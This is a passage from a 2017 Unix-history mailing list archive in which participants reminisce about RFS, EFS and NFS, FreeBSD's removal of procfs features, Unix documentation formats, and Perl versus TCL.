 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
Message-ID: <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>

On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net> wrote:

> Where does RFS (AT&T System III) fit in all of this?
>
​Well it was not in PWB 3.0 - aka System ​III.




>
> ​....
>
>
> Just looking for history on RFS if any.
>
David Arnovitz's work -- Dave worked for us at Masscomp in Atlanta​
afterwards.  IIRC Summit pushed it out via System V, it was not part of
System III (David did not even work for BTL when System II was released).

RFS was based on ideas Peter had used in Eighth Edition file system.  When
we did EFS @ Masscomp, Perry Flinn and I were both aware of Peter's work (I
had talked to him a few times).  As we finished it, we hired Dave in
Atlanta and told me about us a little about RFS although it had not yet
been released.   If you look, my EFS paper was the alternate paper given
against Rusty's when the NFS paper published - difference - Masscomp would
not give away EFS - different story].

Anyway, Dave's RFS used Peter's file system switch that was in
Eighth Edition.  I used something similar for EFS.   Which was not as clean
as Steve Klieman's VFS layer; which I think Sun did right.   But NFS got
the whole stateless thing wrong which I was pleased over the years to see I
was right (the whole point of the EFS paper was if it's a real UNIX file
system, then their will be shared state and its how do you recover from an
error).

RFS, EFS and Weinberger's FS all did stateful recovery.  RFS used a
function ship model IIRC.  I did not get to look at the code until long
after it was released so I never studied it in detail and I never ran it.
But he had Peter's work available to him, so I suspect there is a lot
common ideas.  I think Peter used function shipping also.    [EFS did not,
it was more ad hoc as what we shipped and what we did not.   That was a
performance thing for us as we had Apollo down the street and were very,
very concerned with what Ageis/Domain could do].

That said, NFS had a really simple model, which (in practice) was good
enough for many things and more importantly, Sun gave the code away and
made it a standard.  So the old less is more; Christensen disruption theory
of technology came through.

Masscomp (and Apollo with Domain) both had 'better' distributed file
systems, but 'lost' because (like DEC were many of their people -
particularly in marketing - came) - did not get it.   Tried to keep to
closed like VMS et al... and it ultimately died.  NFS was 'free' and did
the job.   What was there not to like.

In hindsight, I wish I could have understood that then.  Cudo's the Kleiman
for what he did!

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/b59b4cb6/attachment.html>

From khm at sciops.net  Mon Sep 25 06:36:21 2017
From: khm at sciops.net (Kurt H Maier)
Date: Sun, 24 Sep 2017 13:36:21 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170924140617.GG28606@mcvoy.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com>
Message-ID: <20170924203621.GA80203@wopr>

On Sun, Sep 24, 2017 at 07:06:17AM -0700, Larry McVoy wrote:
> +1 on what Ron said.  I don't get the rationale for going back to ptrace.
> Anyone know what it is?  Is there a perf issue?

The usual rationale presented is that someone can exhaust the fd table
and then you can't get anything done.  Instead of fixing that problem,
the popular approach is to add more syscalls, like with getrandom(2).

khm



From bakul at bitblocks.com  Mon Sep 25 07:38:59 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Sun, 24 Sep 2017 14:38:59 -0700
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170924203621.GA80203@wopr>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
Message-ID: <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>


> On Sep 24, 2017, at 1:36 PM, Kurt H Maier <khm at sciops.net> wrote:
> 
> On Sun, Sep 24, 2017 at 07:06:17AM -0700, Larry McVoy wrote:
>> +1 on what Ron said.  I don't get the rationale for going back to ptrace.
>> Anyone know what it is?  Is there a perf issue?
> 
> The usual rationale presented is that someone can exhaust the fd table
> and then you can't get anything done.  Instead of fixing that problem,
> the popular approach is to add more syscalls, like with getrandom(2).

$ svn log sys/fs/procfs/procfs.c | head
------------------------------------------------------------------------
r314690 | badger | 2017-03-04 19:05:24 -0800 (Sat, 04 Mar 2017) | 15 lines
remove procfs ctl interface

This interface has no in-tree consumers and has been more or less
non-functional for several releases.

Remove manpage note that the procfs special file 'mem' is grouped to
kmem. This hasn't been true since r81107.

Remove procfs' README file. It is an out of date duplication of the manpage
(quoth the README: "since the bsd kernel is single-processor...").

Reviewed by:    vangyzen, bcr (manpage)
Approved by:    des (procfs maintainer), vangyzen (mentor)
Differential Revision:  https://reviews.freebsd.org/D9802

------------------------------------------------------------------------
r232278 | mm | 2012-02-28 16:30:18 -0800 (Tue, 28 Feb 2012) | 5 lines



There are just a few potential users of /proc and they were already
using other facilities. plus /proc is an optional facility. All this
conspired to make /proc less useful in FreeBSD. Unused code is in
danger of being garbage collected in FreeBSD :-)



From krewat at kilonet.net  Mon Sep 25 07:59:50 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Sun, 24 Sep 2017 17:59:50 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
Message-ID: <deca1ca3-4c05-86e4-5e4d-def487506721@kilonet.net>



On 9/24/2017 3:54 PM, Clem Cole wrote:
>
>
> On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net 
> <mailto:krewat at kilonet.net>> wrote:
>
>     Where does RFS (AT&T System III) fit in all of this?
>
> ​Well it was not in PWB 3.0 - aka System ​III.
>

Sorry, Clem, it was System V R3 - I read this, and then misspoke: 
https://en.wikipedia.org/wiki/Remote_File_Sharing


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/defe4bce/attachment.html>

From krewat at kilonet.net  Mon Sep 25 08:08:01 2017
From: krewat at kilonet.net (Arthur Krewat)
Date: Sun, 24 Sep 2017 18:08:01 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
Message-ID: <99177bf0-7ab8-1353-f2ce-842cf5584914@kilonet.net>

Also, Clem when you say "function shipping" - that sounds like RPC.



On 9/24/2017 3:54 PM, Clem Cole wrote:
>
>
> On Sun, Sep 24, 2017 at 1:51 PM, Arthur Krewat <krewat at kilonet.net 
> <mailto:krewat at kilonet.net>> wrote:
>
>     Where does RFS (AT&T System III) fit in all of this?
>
> ​Well it was not in PWB 3.0 - aka System ​III.
>
>
>
>     ​....
>
>
>     Just looking for history on RFS if any.
>
> David Arnovitz's work -- Dave worked for us at Masscomp in Atlanta​ 
> afterwards.  IIRC Summit pushed it out via System V, it was not part 
> of System III (David did not even work for BTL when System II was 
> released).
>
> RFS was based on ideas Peter had used in Eighth Edition file system. 
> When we did EFS @ Masscomp,Perry Flinn and I were both aware of 
> Peter's work (I had talked to him a few times).  As we finished it, we 
> hired Dave in Atlanta and told me about us a little about RFS although 
> it had not yet been released.   If you look, my EFS paper was the 
> alternate paper given against Rusty's when the NFS paper published - 
> difference - Masscomp would not give away EFS - different story].
>
> Anyway, Dave's RFS used Peter's file system switch that was in 
> Eighth Edition.  I used something similar for EFS. Which was not as 
> clean as Steve Klieman's VFS layer; which I think Sun did right.   But 
> NFS got the whole stateless thing wrong which I was pleased over the 
> years to see I was right (the whole point of the EFS paper was if it's 
> a real UNIX file system, then their will be shared state and its how 
> do you recover from an error).
>
> RFS, EFS and Weinberger's FS all did stateful recovery.  RFS used a 
> function ship model IIRC.  I did not get to look at the code until 
> long after it was released so I never studied it in detail and I never 
> ran it.   But he had Peter's work available to him, so I suspect there 
> is a lot common ideas.  I think Peter used function shipping also.   
>  [EFS did not, it was more ad hoc as what we shipped and what we did 
> not.   That was a performance thing for us as we had Apollo down the 
> street and were very, very concerned with what Ageis/Domain could do].
>
> That said, NFS had a really simple model, which (in practice) was good 
> enough for many things and more importantly, Sun gave the code away 
> and made it a standard.  So the old less is more; Christensen 
> disruption theory of technology came through.
>
> Masscomp (and Apollo with Domain) both had 'better' distributed file 
> systems, but 'lost' because (like DEC were many of their people - 
> particularly in marketing - came) - did not get it.   Tried to keep to 
> closed like VMS et al... and it ultimately died.  NFS was 'free' and 
> did the job.   What was there not to like.
>
> In hindsight, I wish I could have understood that then.  Cudo's the 
> Kleiman for what he did!
>
> Clem

-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/9243054a/attachment.html>

From dfawcus+lists-tuhs at employees.org  Mon Sep 25 08:32:47 2017
From: dfawcus+lists-tuhs at employees.org (Derek Fawcus)
Date: Sun, 24 Sep 2017 23:32:47 +0100
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <alpine.BSF.2.21.1709240820060.89458@aneurin.horsfall.org>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <alpine.BSF.2.21.1709240820060.89458@aneurin.horsfall.org>
Message-ID: <20170924223247.GA85862@accordion.employees.org>

On Sun, Sep 24, 2017 at 08:27:02AM +1000, Dave Horsfall wrote:
> On Sat, 23 Sep 2017, Tom Ivar Helbekkmo wrote:
> > That's an interesting solution.  Configuring it to not modify the 
> > Subject: line by adding "[TUHS] " to it would probably also work.  :)
> 
> I hope you really are joking...  What really annoys me are lists that do 
> *not* add the ID to the Subject: line.

Well, it is something I find useless and annoying - but that is usually
'cause I subscribe using unique addresses.

On some machines (where I use procmail), I set up rules to strip out
such munging.

DF



From ralph at inputplus.co.uk  Mon Sep 25 08:54:43 2017
From: ralph at inputplus.co.uk (Ralph Corderoy)
Date: Sun, 24 Sep 2017 23:54:43 +0100
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <20170919233525.k3otv5as6xi2rqht@thunk.org>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
Message-ID: <20170924225443.E33121F975@orac.inputplus.co.uk>

Hi Ted,

> If you take a look at how perl handles its man pages, with 188 man
> pages in section 1:

Yes, I went there the other day looking for something and was dismayed.
The main reason being I learnt Perl thoroughly back when it was
4.something from its single perl(1) lovingly crafted by Larry Wall.  

Given Perl is, no was, an amalgam of Unix programming, this was
perfectly possible to anyone that already new C, sh, sed, awk, grep,
etc., and the man page ran smoothly, assuming all that background
knowledge.

Perl 5 broke this a bit with its addition of classes, and the shift to
POD;  still overseen by Wall.  Since then, with Larry's attention
elsewhere, it seems they've revelled in TMTOWTDI and the documentation
has bloated so it appeared to me, looking for a reference, that there
several possible man pages where it might be.  Looking through those, a
lot of content seem duplicated, but slightly different, and I quickly
gave up.

> I find that info system, with its hypertext linking, to be far more
> convenient.

One nice thing about info(1) in the last few years is they've ditched
printing to stderr what bit of formatting they're doing, removing the
need for a `Gg' in `info libc | less' to make it do that work by seeking
to the end and then erase the clutter by jumping back to the beginning.

> And the question is whether man is a sufficient way to provide
> documentation.

As others have pointed out, it wasn't the sole source of documentation;
papers for bigger programs used to provide the introduction and overview
leaving the man page to mop up as a reference.

-- 
Cheers, Ralph.
https://plus.google.com/+RalphCorderoy



From ralph at inputplus.co.uk  Mon Sep 25 08:58:13 2017
From: ralph at inputplus.co.uk (Ralph Corderoy)
Date: Sun, 24 Sep 2017 23:58:13 +0100
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <20170920020741.ihjr5s4p243ycwef@thunk.org>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <20170920020741.ihjr5s4p243ycwef@thunk.org>
Message-ID: <20170924225813.08E0C1F975@orac.inputplus.co.uk>

Hi Ted,

> Most of the core Unix utilities, even those coming from GNU, have real
> man pages, at least under Debian and Debian derivatives.  That's
> because Debian makes it the package maintainer's responsibility to
> provide a real man page if the package doesn't have one.

That used to be a boon, but these days I've often found the Debian man
page to be little more than --help output, done to close a bug against
the package and worse than nothing because its existence stops anyone
else having a go, including upstream as their program becomes more
mature.

IIRC ESR is saying RMS has agreed info format is dead and is trying to
get agreement from him where to go from there, but that's been the case
for a couple of years.

-- 
Cheers, Ralph.
https://plus.google.com/+RalphCorderoy



From ralph at inputplus.co.uk  Mon Sep 25 09:03:08 2017
From: ralph at inputplus.co.uk (Ralph Corderoy)
Date: Mon, 25 Sep 2017 00:03:08 +0100
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com> <20170920012203.GB25650@mcvoy.com>
 <20170920020111.GA15872@mcvoy.com>
 <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>
Message-ID: <20170924230308.CA443201DF@orac.inputplus.co.uk>

Bakul Shah wrote:
> These days I use the markdown format more and more

http://undeadly.org/cgi?action=article&sid=20170304230520
has some reasons to dislike Markdown.  :-)

-- 
Cheers, Ralph.
https://plus.google.com/+RalphCorderoy



From bakul at bitblocks.com  Mon Sep 25 09:35:44 2017
From: bakul at bitblocks.com (Bakul Shah)
Date: Sun, 24 Sep 2017 16:35:44 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: Your message of "Mon, 25 Sep 2017 00:03:08 +0100."
 <20170924230308.CA443201DF@orac.inputplus.co.uk>
References: <201709191701.v8JH1vck032168@darkstar.fourwinds.com>
 <20170919233525.k3otv5as6xi2rqht@thunk.org>
 <91641FC6-4CF5-4682-B8C3-8BB3DCCB208C@orthanc.ca>
 <20170920010206.GZ25650@mcvoy.com>
 <CA75D988-DD10-415A-AF0A-EC027C01D13C@orthanc.ca>
 <20170920011340.GA25650@mcvoy.com> <20170920012203.GB25650@mcvoy.com>
 <20170920020111.GA15872@mcvoy.com>
 <F33DF7BE-9318-41DF-9595-CAF8412F14C2@bitblocks.com>
 <20170924230308.CA443201DF@orac.inputplus.co.uk>
Message-ID: <20170924233559.C11E8156E523@mail.bitblocks.com>

On Mon, 25 Sep 2017 00:03:08 +0100 Ralph Corderoy <ralph at inputplus.co.uk> wrote:
Ralph Corderoy writes:
> Bakul Shah wrote:
> > These days I use the markdown format more and more
> 
> http://undeadly.org/cgi?action=article&sid=20170304230520
> has some reasons to dislike Markdown.  :-)

Worse is better :-) Others can use what they want but Markdown
works well enough for me.  As always, if you use every last
"feature" of a particular dialect, you will regret it.



From dave at horsfall.org  Mon Sep 25 09:36:44 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Mon, 25 Sep 2017 09:36:44 +1000 (EST)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
Message-ID: <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>

On Sun, 24 Sep 2017, Bakul Shah wrote:

> There are just a few potential users of /proc and they were already 
> using other facilities. plus /proc is an optional facility. All this 
> conspired to make /proc less useful in FreeBSD. Unused code is in danger 
> of being garbage collected in FreeBSD :-)

Whatever happened to the Unix philosophy of everything looking like a 
file?  Adding more system calls is the Windoze (or perhaps Penguin) way of 
doing things.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From dave at horsfall.org  Mon Sep 25 09:43:54 2017
From: dave at horsfall.org (Dave Horsfall)
Date: Mon, 25 Sep 2017 09:43:54 +1000 (EST)
Subject: [TUHS] Excessive bouncing ... argh!
In-Reply-To: <20170924223247.GA85862@accordion.employees.org>
References: <20170921223420.GA27231@minnie.tuhs.org>
 <m27ewprgys.fsf@thuvia.hamartun.priv.no>
 <alpine.BSF.2.21.1709240820060.89458@aneurin.horsfall.org>
 <20170924223247.GA85862@accordion.employees.org>
Message-ID: <alpine.BSF.2.21.1709250941200.89458@aneurin.horsfall.org>

On Sun, 24 Sep 2017, Derek Fawcus wrote:

> On some machines (where I use procmail), I set up rules to strip out 
> such munging.

I used to use Procmail, but now it's unsupported, buggy, and quite likely 
vulnerable due to its baroque scripting language; if there was a decent 
replacement then I'd use it.

-- 
Dave Horsfall DTM (VK2KFU)  "Those who don't understand security will suffer."



From usotsuki at buric.co  Mon Sep 25 09:50:47 2017
From: usotsuki at buric.co (Steve Nickolas)
Date: Sun, 24 Sep 2017 19:50:47 -0400 (EDT)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
Message-ID: <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>

On Mon, 25 Sep 2017, Dave Horsfall wrote:

> On Sun, 24 Sep 2017, Bakul Shah wrote:
>
>> There are just a few potential users of /proc and they were already using 
>> other facilities. plus /proc is an optional facility. All this conspired to 
>> make /proc less useful in FreeBSD. Unused code is in danger of being 
>> garbage collected in FreeBSD :-)
>
> Whatever happened to the Unix philosophy of everything looking like a file? 
> Adding more system calls is the Windoze (or perhaps Penguin) way of doing 
> things.
>
>

I once thought of trying to develop an OS where not only was everything a 
file, but programs were in effect functions that could be chained 
together.

Then decided it was too radical.

-uso.



From clemc at ccc.com  Mon Sep 25 09:52:18 2017
From: clemc at ccc.com (Clem Cole)
Date: Sun, 24 Sep 2017 19:52:18 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <99177bf0-7ab8-1353-f2ce-842cf5584914@kilonet.net>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <99177bf0-7ab8-1353-f2ce-842cf5584914@kilonet.net>
Message-ID: <CAC20D2P7M-HHr0z46yrWQeWm8jAidQv=mLFeLJ2TenF1JSs-AA@mail.gmail.com>

On Sun, Sep 24, 2017 at 6:08 PM, Arthur Krewat <krewat at kilonet.net> wrote:

> Also, Clem when you say "function shipping" - that sounds like RPC.
>

​Similar -- I think of  function shipping are the technique of sending
computation to the data rather than marshaling together/bringing the data
to the computation.
 ​
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/a0765107/attachment.html>

From scj at yaccman.com  Mon Sep 25 10:16:58 2017
From: scj at yaccman.com (Steve Johnson)
Date: Sun, 24 Sep 2017 17:16:58 -0700
Subject: [TUHS] Another "craft" discussion topic - mindless tool
	proliferation
In-Reply-To: <20170924225443.E33121F975@orac.inputplus.co.uk>
Message-ID: <4e62b8b04bb14972d8602909510e20f3bafac7be@webmail.yaccman.com>

One of the best conferences I ever attended was a Usenix conference on
Little Languages, held in Santa Fe, NM.  I had the pleasure of going
out for dinner with a group that included Larry Wall and John
Ousterhout, inventors of Perl and TCL, respectively.  It was a
fascinating discussion.

Larry looked at Perl as if it were a natural language.  Just as
English has borrowed words, phrases and even syntax from other
languages, Larry's view was that if it was useful and the language
didn't already have it, toss it in.  John came from a more
mathematical (and, may I say, Unix) point of view.  Small is
beautiful, etc.  The original motivation for TCL was to allow one
process to dynamically send data to another process and get data back,
so, for example, an application could send editor commands to an
editor that would process them and return the result.  Kind of an RPC
at the process level, and, unlike pipes, the connections were
dynamic.  I'm not sure that ever worked in a useful way. TCL syntax
was quite clean and easy to learn.  But, for a lot of tasks, it
seemed to take a bit more TCL to do that task than Perl did.  On the
other hand, when building substantial applications I personally found
TCL much easier to work with -- the semantic clashes between different
parts of Perl were somewhat disorienting to me.

Ironically, of course, it was the TK graphics package of TCL that had
real legs.  System administrators found Perl  to be a good vehicle
for writing systems administration tools -- kind of like a shell with
useful data structures.  That meant that Perl was alive and well on
almost every Unix-oid system out there.  At the same time, writing
interactive graphics applications in TK was head and shoulders easier
than any other system out there, and it was very portable between
systems, but it was often harder to write the application that the
graphics was the interface for in TCL than in Perl.  And, as I'm sure
Larry would have wanted, the useful TK part migrated slowly but surely
into Perl, and the rest of TCL fell into disuse.

Steve

----- Original Message -----
From: "Ralph Corderoy" <ralph at inputplus.co.uk>
To:"Theodore Ts'o" <tytso at mit.edu>
Cc:<tuhs at minnie.tuhs.org>
Sent:Sun, 24 Sep 2017 23:54:43 +0100
Subject:Re: [TUHS] Another "craft" discussion topic - mindless tool
proliferation

 Hi Ted,

 > If you take a look at how perl handles its man pages, with 188 man
 > pages in section 1:

 Yes, I went there the other day looking for something and was
dismayed.
 The main reason being I learnt Perl thoroughly back when it was
 4.something from its single perl(1) lovingly crafted by Larry Wall. 

 Given Perl is, no was, an amalgam of Unix programming, this was
 perfectly possible to anyone that already new C, sh, sed, awk, grep,
 etc., and the man page ran smoothly, assuming all that background
 knowledge.

 Perl 5 broke this a bit with its addition of classes, and the shift
to
 POD; still overseen by Wall. Since then, with Larry's attention
 elsewhere, it seems they've revelled in TMTOWTDI and the
documentation
 has bloated so it appeared to me, looking for a reference, that there
 several possible man pages where it might be. Looking through those,
a
 lot of content seem duplicated, but slightly different, and I quickly
 gave up.

 > I find that info system, with its hypertext linking, to be far more
 > convenient.

 One nice thing about info(1) in the last few years is they've ditched
 printing to stderr what bit of formatting they're doing, removing the
 need for a `Gg' in `info libc | less' to make it do that work by
seeking
 to the end and then erase the clutter by jumping back to the
beginning.

 > And the question is whether man is a sufficient way to provide
 > documentation.

 As others have pointed out, it wasn't the sole source of
documentation;
 papers for bigger programs used to provide the introduction and
overview
 leaving the man page to mop up as a reference.

 -- 
 Cheers, Ralph.
 https://plus.google.com/+RalphCorderoy


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170924/dc8d7e93/attachment.html>

From wes.parish at paradise.net.nz  Mon Sep 25 10:03:03 2017
From: wes.parish at paradise.net.nz (Wesley Parish)
Date: Mon, 25 Sep 2017 13:03:03 +1300 (NZDT)
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <20170924140617.GG28606@mcvoy.com> <20170924203621.GA80203@wopr>
 <49B7FCB8-A086-4FFB-AF3B-4B3BD167EC54@bitblocks.com>
 <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
 <alpine.BSF.2.02.1709241949440.58337@frieza.hoshinet.org>
Message-ID: <1506297783.59c847b740373@www.paradise.net.nz>

I once thought of developing a computer where everything from the core functions to the peripherals 
was a network node. In effect replacing the bus. I found references to a Cambridge U (UK) computer 
system that purported to do just that but couldn't find any more info on it.

Your idea sounds like an extension of Oberon, from what I can remember of reading Wirth's book on the 
Oberon OS in the nineties.

You should give it a go.

Wesley Parish

Quoting Steve Nickolas <usotsuki at buric.co>:
> 
> I once thought of trying to develop an OS where not only was everything
> a 
> file, but programs were in effect functions that could be chained 
> together.
> 
> Then decided it was too radical.
> 
> -uso.
> 
>  



"I have supposed that he who buys a Method means to learn it." - Ferdinand Sor,
Method for Guitar

"A verbal contract isn't worth the paper it's written on." -- Samuel Goldwyn



From crossd at gmail.com  Mon Sep 25 10:36:15 2017
From: crossd at gmail.com (Dan Cross)
Date: Sun, 24 Sep 2017 20:36:15 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <alpine.BSF.2.21.1709250934460.89458@aneurin.horsfall.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
